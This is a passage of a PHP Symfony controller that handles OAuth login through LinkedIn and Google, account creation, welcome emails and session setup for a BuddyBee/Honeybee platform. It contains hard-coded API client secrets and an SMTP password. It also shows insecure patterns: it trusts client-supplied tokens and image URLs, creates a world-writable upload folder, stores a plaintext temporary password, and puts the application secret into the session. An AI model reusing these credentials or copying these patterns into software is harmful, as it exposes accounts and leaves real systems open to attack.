  7185.         $email $request->getSession()->get('userEmail');
  7186.         $sessionUserId $request->getSession()->get('userId');
  7187.         $oAuthData = [];
  7188. //    $encData='';
  7189.         $em $this->getDoctrine()->getManager('company_group');
  7190.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  7191.         $redirectRoute 'dashboard';
  7192.         if ($encData != '') {
  7193.             if ($encData == '8917922')
  7194.                 $redirectRoute 'apply_for_consultant';
  7195.         }
  7196.         if ($request->query->has('encData')) {
  7197.             $encData $request->query->get('encData');
  7198.             if ($encData == '8917922')
  7199.                 $redirectRoute 'apply_for_consultant';
  7200.         }
  7201.         $message '';
  7202.         $errorField '_NONE_';
  7203.         if ($request->query->has('message')) {
  7204.             $message $request->query->get('message');
  7205.         }
  7206.         if ($request->query->has('errorField')) {
  7207.             $errorField $request->query->get('errorField');
  7208.         }
  7209.         if ($request->request->has('oAuthData')) {
  7210.             $oAuthData $request->request->get('oAuthData', []);
  7211.         } else {
  7212.             $oAuthData = [
  7213.                 'email' => $request->request->get('email'''),
  7214.                 'uniqueId' => $request->request->get('uniqueId'''),
  7215.                 'oAuthHash' => '_NONE_',
  7216.                 'image' => $request->request->get('image'''),
  7217.                 'emailVerified' => $request->request->get('emailVerified'''),
  7218.                 'name' => $request->request->get('name'''),
  7219.                 'firstName' => $request->request->get('firstName'''),
  7220.                 'lastName' => $request->request->get('lastName'''),
  7221.                 'type' => 1,
  7222.                 'token' => $request->request->get('oAuthtoken'''),
  7223.             ];
  7224.         }
  7225.         $isApplicantExist null;
  7226.         if ($email) {
  7227.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7228.                 $isApplicantExist $applicantRepo->findOneBy([
  7229.                     'applicantId' => $sessionUserId
  7230.                 ]);
  7231.             } else
  7232.                 return $this->redirectToRoute($redirectRoute);
  7233.         }
  7234.         $google_client = new Google_Client();
  7235. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  7236. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  7237.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  7238.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  7239.         } else {
  7240.             $url $this->generateUrl(
  7241.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  7242.             );
  7243.         }
  7244.         $selector BuddybeeConstant::$selector;
  7245.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7246.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7247. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  7248. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  7249.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  7250. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  7251.         $google_client->setRedirectUri($url);
  7252.         $google_client->setAccessType('offline');        // offline access
  7253.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  7254.         $google_client->addScope('email');
  7255.         $google_client->addScope('profile');
  7256.         $google_client->addScope('openid');
  7257. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  7258.         //linked in 1st
  7259.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  7260.             $curl curl_init();
  7261.             curl_setopt_array($curl, array(
  7262.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  7263.                 CURLOPT_HEADER => false,  // don't return headers
  7264.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7265.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7266.                 CURLOPT_ENCODING => "",     // handle compressed
  7267.                 CURLOPT_USERAGENT => "test"// name of client
  7268.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7269.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7270.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  7271.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  7272.                 CURLOPT_USERAGENT => 'InnoPM',
  7273.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  7274.                 CURLOPT_POST => 1,
  7275.                 CURLOPT_HTTPHEADER => array(
  7276.                     'Content-Type: application/x-www-form-urlencoded'
  7277.                 )
  7278.             ));
  7279.             $content curl_exec($curl);
  7280.             $contentArray = [];
  7281.             curl_close($curl);
  7282.             $token false;
  7283. //      return new JsonResponse(array(
  7284. //          'content'=>$content,
  7285. //          'contentArray'=>json_decode($content,true),
  7286. //
  7287. //      ));
  7288.             if ($content) {
  7289.                 $contentArray json_decode($contenttrue);
  7290.                 $token $contentArray['access_token'];
  7291.             }
  7292.             if ($token) {
  7293.                 $applicantInfo = [];
  7294.                 $curl curl_init();
  7295.                 curl_setopt_array($curl, array(
  7296.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7297.                     CURLOPT_HEADER => false,  // don't return headers
  7298.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7299.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7300.                     CURLOPT_ENCODING => "",     // handle compressed
  7301.                     CURLOPT_USERAGENT => "test"// name of client
  7302.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7303.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7304.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7305.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  7306.                     CURLOPT_USERAGENT => 'InnoPM',
  7307.                     CURLOPT_HTTPGET => 1,
  7308.                     CURLOPT_HTTPHEADER => array(
  7309.                         'Authorization: Bearer ' $token,
  7310.                         'Header-Key-2: Header-Value-2'
  7311.                     )
  7312.                 ));
  7313.                 $userGeneralcontent curl_exec($curl);
  7314.                 curl_close($curl);
  7315.                 if ($userGeneralcontent) {
  7316.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  7317.                 }
  7318.                 $curl curl_init();
  7319.                 curl_setopt_array($curl, array(
  7320.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7321.                     CURLOPT_HEADER => false,  // don't return headers
  7322.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7323.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7324.                     CURLOPT_ENCODING => "",     // handle compressed
  7325.                     CURLOPT_USERAGENT => "test"// name of client
  7326.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7327.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7328.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7329.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  7330. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  7331.                     CURLOPT_USERAGENT => 'InnoPM',
  7332.                     CURLOPT_HTTPGET => 1,
  7333.                     CURLOPT_HTTPHEADER => array(
  7334.                         'Authorization: Bearer ' $token,
  7335.                         'Header-Key-2: Header-Value-2'
  7336.                     )
  7337.                 ));
  7338.                 $userEmailcontent curl_exec($curl);
  7339.                 curl_close($curl);
  7340.                 $token false;
  7341.                 if ($userEmailcontent) {
  7342.                     $userEmailcontent json_decode($userEmailcontenttrue);
  7343.                 }
  7344. //        $oAuthEmail = $applicantInfo['email'];
  7345. //        return new JsonResponse(array(
  7346. //          'userEmailcontent'=>$userEmailcontent,
  7347. //          'userGeneralcontent'=>$userGeneralcontent,
  7348. //        ));
  7349. //        return new response($userGeneralcontent);
  7350.                 $oAuthData = [
  7351.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7352.                     'uniqueId' => $userGeneralcontent['id'],
  7353.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  7354.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7355.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  7356.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  7357.                     'lastName' => $userGeneralcontent['localizedLastName'],
  7358.                     'type' => 1,
  7359.                     'token' => $token,
  7360.                 ];
  7361.             }
  7362.         } else if (isset($_GET["code"])) {
  7363.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  7364.             if (!isset($token['error'])) {
  7365.                 $google_client->setAccessToken($token['access_token']);
  7366.                 $google_service = new Google_Service_Oauth2($google_client);
  7367.                 $applicantInfo $google_service->userinfo->get();
  7368.                 $oAuthEmail $applicantInfo['email'];
  7369.                 $oAuthData = [
  7370.                     'email' => $applicantInfo['email'],
  7371.                     'uniqueId' => $applicantInfo['id'],
  7372.                     'image' => $applicantInfo['picture'],
  7373.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7374.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7375.                     'firstName' => $applicantInfo['givenName'],
  7376.                     'lastName' => $applicantInfo['familyName'],
  7377.                     'type' => $token['token_type'],
  7378.                     'token' => $token['access_token'],
  7379.                 ];
  7380.             }
  7381.         } else if (isset($_GET["access_token"])) {
  7382.             $token $_GET["access_token"];
  7383.             $tokenType $_GET["token_type"];
  7384.             if (!isset($token['error'])) {
  7385.                 $google_client->setAccessToken($token);
  7386.                 $google_service = new Google_Service_Oauth2($google_client);
  7387.                 $applicantInfo $google_service->userinfo->get();
  7388.                 $oAuthEmail $applicantInfo['email'];
  7389.                 $oAuthData = [
  7390.                     'email' => $applicantInfo['email'],
  7391.                     'uniqueId' => $applicantInfo['id'],
  7392.                     'image' => $applicantInfo['picture'],
  7393.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7394.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7395.                     'firstName' => $applicantInfo['givenName'],
  7396.                     'lastName' => $applicantInfo['familyName'],
  7397.                     'type' => $tokenType,
  7398.                     'token' => $token,
  7399.                 ];
  7400.             }
  7401.         }
  7402.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  7403.             // Multi-email aware, injection-safe (2026-07-04 fix): match the OAuth email against ANY
  7404.             // tagged email (comma list, email OR oAuthEmail). Replaces exact single-value findOneBy
  7405.             // + a hand-rolled comma-LIKE that interpolated the email into SQL and false-matched.
  7406.             $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthData['email']);
  7407.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  7408.                 $isApplicantExist $applicantRepo->findOneBy([
  7409.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  7410.                 ]);
  7411.             }
  7412.             if ($isApplicantExist) {
  7413.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7414.                 } else
  7415.                     return $this->redirectToRoute("core_login", [
  7416.                         'id' => $isApplicantExist->getApplicantId(),
  7417.                         'oAuthData' => $oAuthData,
  7418.                         'encData' => $encData,
  7419.                         'locale' => $request->request->get('locale''en'),
  7420.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7421.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7422.                     ]);
  7423.             } else {
  7424.                 $fname $oAuthData['firstName'];
  7425.                 $lname $oAuthData['lastName'];
  7426.                 $img $oAuthData['image'];
  7427.                 $email $oAuthData['email'];
  7428.                 $oAuthEmail $oAuthData['email'];
  7429.                 $userName explode('@'$email)[0];
  7430.                 //now check if same username exists
  7431.                 $username_already_exist 1;
  7432.                 $initial_user_name $userName;
  7433.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  7434.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  7435.                     $isUsernameExist $applicantRepo->findOneBy([
  7436.                         'username' => $userName
  7437.                     ]);
  7438.                     if ($isUsernameExist) {
  7439.                         $username_already_exist 1;
  7440.                         $userName $initial_user_name '' rand(3009987);
  7441.                     } else {
  7442.                         $username_already_exist 0;
  7443.                     }
  7444.                     $timeoutSafeCount--;
  7445.                 }
  7446.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  7447.                     $currentUnixTimeStamp '';
  7448.                     $currentUnixTime = new \DateTime();
  7449.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  7450.                     $userName $userName '' $currentUnixTimeStamp;
  7451.                 }
  7452.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  7453.                 $charactersLength strlen($characters);
  7454.                 $length 8;
  7455.                 $password 0;
  7456.                 for ($i 0$i $length$i++) {
  7457.                     $password .= $characters[rand(0$charactersLength 1)];
  7458.                 }
  7459.                 $newApplicant = new EntityApplicantDetails();
  7460.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  7461.                 $newApplicant->setEmail($email);
  7462.                 $newApplicant->setUserName($userName);
  7463.                 $newApplicant->setFirstname($fname);
  7464.                 $newApplicant->setLastname($lname);
  7465.                 $newApplicant->setOAuthEmail($oAuthEmail);
  7466.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  7467.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  7468.                 $newApplicant->setAccountStatus(1);
  7469.                 $salt uniqid(mt_rand());
  7470.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  7471.                 $newApplicant->setPassword($encodedPassword);
  7472.                 $newApplicant->setSalt($salt);
  7473.                 $newApplicant->setTempPassword($password);;
  7474. //                $newApplicant->setPassword($password);
  7475.                 $marker $userName '-' time();
  7476. //                $extension_here=$uploadedFile->guessExtension();
  7477. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  7478. //                $path = $fileName;
  7479.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  7480.                 if (!file_exists($upl_dir)) {
  7481.                     mkdir($upl_dir0777true);
  7482.                 }
  7483.                 $ch curl_init($img);
  7484.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  7485.                 curl_setopt($chCURLOPT_FILE$fp);
  7486.                 curl_setopt($chCURLOPT_HEADER0);
  7487.                 curl_exec($ch);
  7488.                 curl_close($ch);
  7489.                 fclose($fp);
  7490.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  7491. //                $newApplicant->setImage($img);
  7492.                 $newApplicant->setIsConsultant(0);
  7493.                 $newApplicant->setIsTemporaryEntry(0);
  7494.                 $newApplicant->setApplyForConsultant(0);
  7495.                 $em->persist($newApplicant);
  7496.                 $em->flush();
  7497.                 $isApplicantExist $newApplicant;
  7498.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  7499.                     if ($systemType == '_BUDDYBEE_') {
  7500.                         $bodyHtml '';
  7501.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  7502.                         $bodyData = array(
  7503.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7504.                             'email' => $userName,
  7505.                             'password' => $newApplicant->getPassword(),
  7506.                         );
  7507.                         $attachments = [];
  7508.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7509. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7510.                         $new_mail $this->get('mail_module');
  7511.                         $new_mail->sendMyMail(array(
  7512.                             'senderHash' => '_CUSTOM_',
  7513.                             //                        'senderHash'=>'_CUSTOM_',
  7514.                             'forwardToMailAddress' => $forwardToMailAddress,
  7515.                             'subject' => 'Welcome to BuddyBee ',
  7516. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7517.                             'attachments' => $attachments,
  7518.                             'toAddress' => $forwardToMailAddress,
  7519.                             'fromAddress' => 'registration@buddybee.eu',
  7520.                             'userName' => 'registration@buddybee.eu',
  7521.                             'password' => 'Y41dh8g0112',
  7522.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  7523.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  7524.                             'encryptionMethod' => 'ssl',
  7525. //                            'emailBody' => $bodyHtml,
  7526.                             'mailTemplate' => $bodyTemplate,
  7527.                             'templateData' => $bodyData,
  7528. //                        'embedCompanyImage' => 1,
  7529. //                        'companyId' => $companyId,
  7530. //                        'companyImagePath' => $company_data->getImage()
  7531.                         ));
  7532.                     } else {
  7533.                         $bodyHtml '';
  7534.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  7535.                         $bodyData = array(
  7536.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7537.                             'email' => 'APP-' $userName,
  7538.                             'password' => $newApplicant->getPassword(),
  7539.                         );
  7540.                         $attachments = [];
  7541.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7542. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7543.                         $new_mail $this->get('mail_module');
  7544.                         $new_mail->sendMyMail(array(
  7545.                             'senderHash' => '_CUSTOM_',
  7546.                             //                        'senderHash'=>'_CUSTOM_',
  7547.                             'forwardToMailAddress' => $forwardToMailAddress,
  7548.                             'subject' => 'Applicant Registration on Honeybee',
  7549. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7550.                             'attachments' => $attachments,
  7551.                             'toAddress' => $forwardToMailAddress,
  7552.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  7553.                             'userName' => 'accounts@ourhoneybee.eu',
  7554.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  7555.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  7556.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  7557.                             'encryptionMethod' => 'ssl',
  7558. //                            'emailBody' => $bodyHtml,
  7559.                             'mailTemplate' => $bodyTemplate,
  7560.                             'templateData' => $bodyData,
  7561. //                        'embedCompanyImage' => 1,
  7562. //                        'companyId' => $companyId,
  7563. //                        'companyImagePath' => $company_data->getImage()
  7564.                         ));
  7565.                     }
  7566.                 }
  7567.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7568.                 } else {
  7569.                     return $this->redirectToRoute("core_login", [
  7570.                         'id' => $newApplicant->getApplicantId(),
  7571.                         'oAuthData' => $oAuthData,
  7572.                         'encData' => $encData,
  7573.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7574.                         'locale' => $request->request->get('locale''en'),
  7575.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7576.                     ]);
  7577.                 }
  7578.             }
  7579.         }
  7580.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7581.             if ($isApplicantExist) {
  7582.                 $user $isApplicantExist;
  7583.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7584.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  7585.                 $globalId $user->getApplicantId();
  7586.                 $gocList $em
  7587.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  7588.                     ->findBy(
  7589.                         array(//                        'active' => 1
  7590.                         )
  7591.                     );
  7592.                 $gocDataList = [];
  7593.                 $gocDataListForLoginWeb = [];
  7594.                 $gocDataListByAppId = [];
  7595.                 foreach ($gocList as $entry) {
  7596.                     $d = array(
  7597.                         'name' => $entry->getName(),
  7598.                         'image' => $entry->getImage(),
  7599.                         'id' => $entry->getId(),
  7600.                         'appId' => $entry->getAppId(),
  7601.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  7602.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  7603.                         'dbName' => $entry->getDbName(),
  7604.                         'dbUser' => $entry->getDbUser(),
  7605.                         'dbPass' => $entry->getDbPass(),
  7606.                         'dbHost' => $entry->getDbHost(),
  7607.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  7608.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  7609.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  7610.                         'companyRemaining' => $entry->getCompanyRemaining(),
  7611.                         'companyAllowed' => $entry->getCompanyAllowed(),
  7612.                     );
  7613.                     $gocDataList[$entry->getId()] = $d;
  7614.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  7615.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  7616.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  7617.                 }
  7618.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  7619.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  7620.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  7621.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  7622.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  7623.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  7624.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  7625.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  7626.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  7627.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  7628.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  7629.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  7630.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  7631.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  7632.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  7633.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  7634.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  7635.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  7636.                     $session->set(UserConstants::USER_COMPANY_ID1);
  7637.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  7638.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  7639.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7640.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  7641.                     $session->set('userCompanyVibrantList'json_encode([]));
  7642.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  7643.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7644.                     $session->set(UserConstants::USER_APP_ID0);
  7645.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  7646.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  7647.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  7648.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  7649.                     $session->set(UserConstants::USER_GOC_ID0);
  7650.                     $session->set(UserConstants::USER_DB_NAME'');
  7651.                     $session->set(UserConstants::USER_DB_USER'');
  7652.                     $session->set(UserConstants::USER_DB_PASS'');
  7653.                     $session->set(UserConstants::USER_DB_HOST'');
  7654.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  7655.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  7656.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  7657.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  7658.                     $session->set('locale'$request->request->get('locale'''));
  7659.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  7660.                     $route_list_array = [];
  7661.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  7662.                     $loginID 0;
  7663.                     $loginID MiscActions::addEntityUserLoginLog(
  7664.                         $em,
  7665.                         $session->get(UserConstants::USER_ID),
  7666.                         $session->get(UserConstants::USER_ID),
  7667.                         1,
  7668.                         $request->server->get("REMOTE_ADDR"),
  7669.                         0,
  7670.                         $request->request->get('deviceId'''),
  7671.                         $request->request->get('oAuthToken'''),
  7672.                         $request->request->get('oAuthType'''),
  7673.                         $request->request->get('locale'''),
  7674.                         $request->request->get('firebaseToken''')
  7675.                     );
  7676.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  7677.                     $session_data = array(
  7678.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  7679.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  7680.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  7681.                         'oAuthToken' => $session->get('oAuthToken'),
  7682.                         'locale' => $session->get('locale'),
  7683.                         'firebaseToken' => $session->get('firebaseToken'),
  7684.                         'token' => $session->get('token'),
  7685.                         'firstLogin' => 0,
  7686.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7687.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7688.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7689.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7690.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7691.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7692.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7693.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7694.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7695.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7696.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7697.                         'oAuthImage' => $session->get('oAuthImage'),
  7698.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7699.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7700.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7701.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7702.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7703.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7704.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7705.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7706.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7707.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7708.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7709.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7710.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7711.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7712.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7713.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7714.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7715.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7716.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7717.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7718.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7719.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7720.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7721.                         //new
  7722.                         'appIdList' => $session->get('appIdList'),
  7723.                         'branchIdList' => $session->get('branchIdList'null),
  7724.                         'branchId' => $session->get('branchId'null),
  7725.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7726.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7727.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7728.                     );
  7729.                     $accessList = [];
